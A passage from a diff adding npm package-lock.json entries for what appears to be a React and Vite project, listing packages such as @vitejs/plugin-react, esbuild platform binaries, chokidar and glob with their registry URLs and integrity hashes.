"https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-6.0.3.tgz", + "integrity": "sha512-fKImZKppa1A/gX73eg4JGo+8kQr/q1HBQaCGKECZ0v4YBBv3lFqi14+7xyApECzvkLTHCifx+7ntcrvtBIRcpg==", + "requires": { + "@babel/helper-module-imports": "^7.18.6", + "@rollup/pluginutils": "^5.0.1" + } + }, + "@rollup/pluginutils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.0.2.tgz", + "integrity": "sha512-pTd9rIsP92h+B6wWwFbW8RkZv4hiR/xKsqre4SIuAOaOEQRxi0lqLke9k2/7WegC85GgUs9pjmOjCUi3In4vwA==", + "requires": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^2.3.1" + } + }, + "@types/estree": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.0.tgz", + "integrity": "sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ==" + }, + "@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "@types/prop-types": { + "version": "15.7.5", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==", + "devOptional": true + }, + "@types/react": { + "version": "18.0.21", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.0.21.tgz", + "integrity": "sha512-7QUCOxvFgnD5Jk8ZKlUAhVcRj7GuJRjnjjiY/IUBWKgOlnvDvTMLD4RTF7NPyVmbRhNrbomZiOepg7M/2Kj1mA==", + "devOptional": true, + "requires": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "@types/react-dom": { + "version": "18.0.6", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.0.6.tgz", + "integrity": "sha512-/5OFZgfIPSwy+YuIBP/FgJnQnsxhZhjjrnxudMddeblOouIodEQ75X14Rr4wGSG/bknL+Omy9iWlLo1u/9GzAA==", + "dev": true, + "requires": { + "@types/react": "*" + } + }, + "@types/scheduler": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", + "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==", + "devOptional": true + }, + "@vitejs/plugin-react": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-2.1.0.tgz", + "integrity": "sha512-am6rPyyU3LzUYne3Gd9oj9c4Rzbq5hQnuGXSMT6Gujq45Il/+bunwq3lrB7wghLkiF45ygMwft37vgJ/NE8IAA==", + "dev": true, + "requires": { + "@babel/core": "^7.18.13", + "@babel/plugin-transform-react-jsx": "^7.18.10", + "@babel/plugin-transform-react-jsx-development": "^7.18.6", + "@babel/plugin-transform-react-jsx-self": "^7.18.6", + "@babel/plugin-transform-react-jsx-source": "^7.18.6", + "magic-string": "^0.26.2", + "react-refresh": "^0.14.0" + } + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true + }, + "aria-hidden": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.3.tgz", + "integrity": "sha512-xcLxITLe2HYa1cnYnwCjkOO1PqUHQpozB8x9AR0OgWN2woOBi5kSDVxKfd0b7sb1hw5qFeJhXm9H1nu3xSfLeQ==", + "requires": { + "tslib": "^2.0.0" + } + }, + "babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "requires": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + } + }, + "balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "browserslist": { + "version": "4.21.4", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.4.tgz", + "integrity": "sha512-CBHJJdDmgjl3daYjN5Cp5kbTf1mUhZoS+beLklHIvkOWscs83YAhLlF3Wsh/lciQYAcbBJgTOD44VtG31ZM4Hw==", + "requires": { + "caniuse-lite": "^1.0.30001400", + "electron-to-chromium": "^1.4.251", + "node-releases": "^2.0.6", + "update-browserslist-db": "^1.0.9" + } + }, + "callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==" + }, + "camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true + }, + "caniuse-lite": { + "version": "1.0.30001418", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001418.tgz", + "integrity": "sha512-oIs7+JL3K9JRQ3jPZjlH6qyYDp+nBTCais7hjh0s+fuBwufc7uZ7hPYMXrDOJhV360KGMTcczMRObk0/iMqZRg==" + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "dependencies": { + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + } + } + }, + "clsx": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.1.1.tgz", + "integrity": "sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA==" + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "convert-source-map": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", + "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", + "requires": { + "safe-buffer": "~5.1.1" + } + }, + "cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + } + }, + "countup.js": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/countup.js/-/countup.js-2.5.0.tgz", + "integrity": "sha512-/59H8Q6wzu6VfHeqGUgXoyh6kgboGr5mALmRKi8YA11DlcaXSnT1PZG6mTyBRLco4ZjExKlmfNHeMbQgZvis9Q==" + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true + }, + "csstype": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", + "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" + }, + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "detect-node-es": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", + "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==" + }, + "didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true + }, + "dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true + }, + "electron-to-chromium": { + "version": "1.4.276", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.276.tgz", + "integrity": "sha512-EpuHPqu8YhonqLBXHoU6hDJCD98FCe6KDoet3/gY1qsQ6usjJoHqBH2YIVs8FXaAtHwVL8Uqa/fsYao/vq9VWQ==" + }, + "error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "requires": { + "is-arrayish": "^0.2.1" + } + }, + "esbuild": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.15.10.tgz", + "integrity": "sha512-N7wBhfJ/E5fzn/SpNgX+oW2RLRjwaL8Y0ezqNqhjD6w0H2p0rDuEz2FKZqpqLnO8DCaWumKe8dsC/ljvVSSxng==", + "dev": true, + "requires": { + "@esbuild/android-arm": "0.15.10", + "@esbuild/linux-loong64": "0.15.10", + "esbuild-android-64": "0.15.10", + "esbuild-android-arm64": "0.15.10", + "esbuild-darwin-64": "0.15.10", + "esbuild-darwin-arm64": "0.15.10", + "esbuild-freebsd-64": "0.15.10", + "esbuild-freebsd-arm64": "0.15.10", + "esbuild-linux-32": "0.15.10", + "esbuild-linux-64": "0.15.10", + "esbuild-linux-arm": "0.15.10", + "esbuild-linux-arm64": "0.15.10", + "esbuild-linux-mips64le": "0.15.10", + "esbuild-linux-ppc64le": "0.15.10", + "esbuild-linux-riscv64": "0.15.10", + "esbuild-linux-s390x": "0.15.10", + "esbuild-netbsd-64": "0.15.10", + "esbuild-openbsd-64": "0.15.10", + "esbuild-sunos-64": "0.15.10", + "esbuild-windows-32": "0.15.10", + "esbuild-windows-64": "0.15.10", + "esbuild-windows-arm64": "0.15.10" + } + }, + "esbuild-android-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-android-64/-/esbuild-android-64-0.15.10.tgz", + "integrity": "sha512-UI7krF8OYO1N7JYTgLT9ML5j4+45ra3amLZKx7LO3lmLt1Ibn8t3aZbX5Pu4BjWiqDuJ3m/hsvhPhK/5Y/YpnA==", + "dev": true, + "optional": true + }, + "esbuild-android-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-android-arm64/-/esbuild-android-arm64-0.15.10.tgz", + "integrity": "sha512-EOt55D6xBk5O05AK8brXUbZmoFj4chM8u3riGflLa6ziEoVvNjRdD7Cnp82NHQGfSHgYR06XsPI8/sMuA/cUwg==", + "dev": true, + "optional": true + }, + "esbuild-darwin-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-darwin-64/-/esbuild-darwin-64-0.15.10.tgz", + "integrity": "sha512-hbDJugTicqIm+WKZgp208d7FcXcaK8j2c0l+fqSJ3d2AzQAfjEYDRM3Z2oMeqSJ9uFxyj/muSACLdix7oTstRA==", + "dev": true, + "optional": true + }, + "esbuild-darwin-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.15.10.tgz", + "integrity": "sha512-M1t5+Kj4IgSbYmunf2BB6EKLkWUq+XlqaFRiGOk8bmBapu9bCDrxjf4kUnWn59Dka3I27EiuHBKd1rSO4osLFQ==", + "dev": true, + "optional": true + }, + "esbuild-freebsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-64/-/esbuild-freebsd-64-0.15.10.tgz", + "integrity": "sha512-KMBFMa7C8oc97nqDdoZwtDBX7gfpolkk6Bcmj6YFMrtCMVgoU/x2DI1p74DmYl7CSS6Ppa3xgemrLrr5IjIn0w==", + "dev": true, + "optional": true + }, + "esbuild-freebsd-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.15.10.tgz", + "integrity": "sha512-m2KNbuCX13yQqLlbSojFMHpewbn8wW5uDS6DxRpmaZKzyq8Dbsku6hHvh2U+BcLwWY4mpgXzFUoENEf7IcioGg==", + "dev": true, + "optional": true + }, + "esbuild-linux-32": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-32/-/esbuild-linux-32-0.15.10.tgz", + "integrity": "sha512-guXrwSYFAvNkuQ39FNeV4sNkNms1bLlA5vF1H0cazZBOLdLFIny6BhT+TUbK/hdByMQhtWQ5jI9VAmPKbVPu1w==", + "dev": true, + "optional": true + }, + "esbuild-linux-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-64/-/esbuild-linux-64-0.15.10.tgz", + "integrity": "sha512-jd8XfaSJeucMpD63YNMO1JCrdJhckHWcMv6O233bL4l6ogQKQOxBYSRP/XLWP+6kVTu0obXovuckJDcA0DKtQA==", + "dev": true, + "optional": true + }, + "esbuild-linux-arm": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm/-/esbuild-linux-arm-0.15.10.tgz", + "integrity": "sha512-6N8vThLL/Lysy9y4Ex8XoLQAlbZKUyExCWyayGi2KgTBelKpPgj6RZnUaKri0dHNPGgReJriKVU6+KDGQwn10A==", + "dev": true, + "optional": true + }, + "esbuild-linux-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm64/-/esbuild-linux-arm64-0.15.10.tgz", + "integrity": "sha512-GByBi4fgkvZFTHFDYNftu1DQ1GzR23jws0oWyCfhnI7eMOe+wgwWrc78dbNk709Ivdr/evefm2PJiUBMiusS1A==", + "dev": true, + "optional": true + }, + "esbuild-linux-mips64le": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.15.10.tgz", + "integrity": "sha512-BxP+LbaGVGIdQNJUNF7qpYjEGWb0YyHVSKqYKrn+pTwH/SiHUxFyJYSP3pqkku61olQiSBnSmWZ+YUpj78Tw7Q==", + "dev": true, + "optional": true + }, + "esbuild-linux-ppc64le": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.15.10.tgz", + "integrity": "sha512-LoSQCd6498PmninNgqd/BR7z3Bsk/mabImBWuQ4wQgmQEeanzWd5BQU2aNi9mBURCLgyheuZS6Xhrw5luw3OkQ==", + "dev": true, + "optional": true + }, + "esbuild-linux-riscv64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-riscv64/-/esbuild-linux-riscv64-0.15.10.tgz", + "integrity": "sha512-Lrl9Cr2YROvPV4wmZ1/g48httE8z/5SCiXIyebiB5N8VT7pX3t6meI7TQVHw/wQpqP/AF4SksDuFImPTM7Z32Q==", + "dev": true, + "optional": true + }, + "esbuild-linux-s390x": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-s390x/-/esbuild-linux-s390x-0.15.10.tgz", + "integrity": "sha512-ReP+6q3eLVVP2lpRrvl5EodKX7EZ1bS1/z5j6hsluAlZP5aHhk6ghT6Cq3IANvvDdscMMCB4QEbI+AjtvoOFpA==", + "dev": true, + "optional": true + }, + "esbuild-netbsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-netbsd-64/-/esbuild-netbsd-64-0.15.10.tgz", + "integrity": "sha512-iGDYtJCMCqldMskQ4eIV+QSS/CuT7xyy9i2/FjpKvxAuCzrESZXiA1L64YNj6/afuzfBe9i8m/uDkFHy257hTw==", + "dev": true, + "optional": true + }, + "esbuild-openbsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-openbsd-64/-/esbuild-openbsd-64-0.15.10.tgz", + "integrity": "sha512-ftMMIwHWrnrYnvuJQRJs/Smlcb28F9ICGde/P3FUTCgDDM0N7WA0o9uOR38f5Xe2/OhNCgkjNeb7QeaE3cyWkQ==", + "dev": true, + "optional": true + }, + "esbuild-sunos-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-sunos-64/-/esbuild-sunos-64-0.15.10.tgz", + "integrity": "sha512-mf7hBL9Uo2gcy2r3rUFMjVpTaGpFJJE5QTDDqUFf1632FxteYANffDZmKbqX0PfeQ2XjUDE604IcE7OJeoHiyg==", + "dev": true, + "optional": true + }, + "esbuild-windows-32": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-32/-/esbuild-windows-32-0.15.10.tgz", + "integrity": "sha512-ttFVo+Cg8b5+qHmZHbEc8Vl17kCleHhLzgT8X04y8zudEApo0PxPg9Mz8Z2cKH1bCYlve1XL8LkyXGFjtUYeGg==", + "dev": true, + "optional": true + }, + "esbuild-windows-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-64/-/esbuild-windows-64-0.15.10.tgz", + "integrity": "sha512-2H0gdsyHi5x+8lbng3hLbxDWR7mKHWh5BXZGKVG830KUmXOOWFE2YKJ4tHRkejRduOGDrBvHBriYsGtmTv3ntA==", + "dev": true, + "optional": true + }, + "esbuild-windows-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-arm64/-/esbuild-windows-arm64-0.15.10.tgz", + "integrity": "sha512-S+th4F+F8VLsHLR0zrUcG+Et4hx0RKgK1eyHc08kztmLOES8BWwMiaGdoW9hiXuzznXQ0I/Fg904MNbr11Nktw==", + "dev": true, + "optional": true + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==" + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==" + }, + "estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==" + }, + "fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "dependencies": { + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + } + } + }, + "fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dev": true, + "requires": { + "reusify": "^1.0.4" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "find-root": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==" + }, + "gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==" + }, + "get-nonce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", + "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==" + }, + "glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": 